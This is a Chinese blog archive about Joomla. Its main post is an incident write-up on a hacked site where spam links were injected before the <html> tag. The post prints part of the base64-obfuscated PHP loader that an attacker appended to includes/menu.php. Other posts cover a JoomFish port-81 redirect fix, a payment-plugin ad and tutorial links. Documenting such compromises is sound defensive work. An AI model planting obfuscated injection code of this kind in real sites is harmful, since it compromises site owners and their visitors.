You are currently browsing the archives for the joomla category.

Archive for the ‘joomla’ Category

joomla 网站受到黑客攻击,在前面被插入恶意代码

星期三, 6月 30th, 2010

在<html>前面被插入恶意代码,  实在太恶心了。

在 <html> 标记之前产生的代码, 浏览器里面看源代码,一切正常。  但是如果用 lynx 查看, 或者 用百度快照 或者 google cache,就能看见被插入了很多恶意链接,生成在<html>标记之前。

看看我们的magento 中文网, 百度收录显示正常:

magentoecommerce-baidu

magentoecommerce-baidu

但是,点击快照, 恶意代码就出现了:

magentoecommerce-baidu-snapshot

magentoecommerce-baidu-snapshot

magentoecommerce-baidu-snapshot
joomla 网站受到黑客攻击,在前面被插入恶意代码的解决办法:(情况很多, 这里是我们遇到的情况)

joomla/includes/menu.php 被人为改了。 在文件的最后加上了。 base64了, 贱黑客, 花了我大半天时间。

$GLOBALS['_1872435205_']=Array(base64_decode(’YmF’ .’zZTY0X2RlY29k’ .’Z’ .’Q==’),base64_decode(’Zml’ .’sZ’ .’V9′ .’nZXR’ .’fY2′ .’9u’ .’d’ .’GVudH’ .’M=’),base64_decode(’cH’ .’JlZ’ .’19y’ .’ZXBsYWNl’),base64_decode(’ZXJ’ .’lZ2k=’),base64_decode(’ZXJ’ .’lZ’ .’2k=’),base64_decode(’Z’ .’X’ .’JlZ2k=’),base64_decode(” .’c3RybGVu’)); ?> ……………………….

分享家:Addthis中国

joomla 的 joomfish 可能会导致url跳转到 81端口

星期二, 4月 14th, 2009

由于某些服务器使用了代理服务器,导致joomfish识别了真实的url,常常是是81端口的。这问题的原因yaozer估计是joomfish的route问题引起的。

初步的解决方法如下:

1, joomla/modules/mod_jflanguageselection/helper.php 的  function _createHRef( $language , $modparams)中

$url = str_replace(’:81′, ”,$url); //替换joomfish自动生成的url中的 81端口。

return $url;

2, joomla/libraries/joomla/application 中的 function redirect( $url, $msg=”, $msgType=’message’ ) 中添加

$url = str_replace(’:81′, ”,$url); // 替换 redirect()引起的 增加 81端口的问题。

/*

* If the headers have been sent, then we cannot send an additional location header
* so we will output a javascript redirect statement.
*/
if (headers_sent()) {
echo “<script>document.location.href=’$url’;</script>n”;
} else {
//@ob_end_clean(); // clear output buffer
header( ‘HTTP/1.1 301 Moved Permanently’ );
header( ‘Location: ‘ . $url );
}

分享家:Addthis中国

Joomla Virtuemart 支付宝接口完成

星期一, 1月 5th, 2009

网上的Virtuemart 支付宝接口不好用? 请联系我们, 价格实惠,  email: sales@grahamsys.com

分享家:Addthis中国

Joomla 模板开发

星期二, 12月 23rd, 2008

1. 官方教程Joomla! 1.5 Template Tutorial

2. 比官方还要好的教程 Joomla 1.5 Template Tutorial

分享家:Addthis中国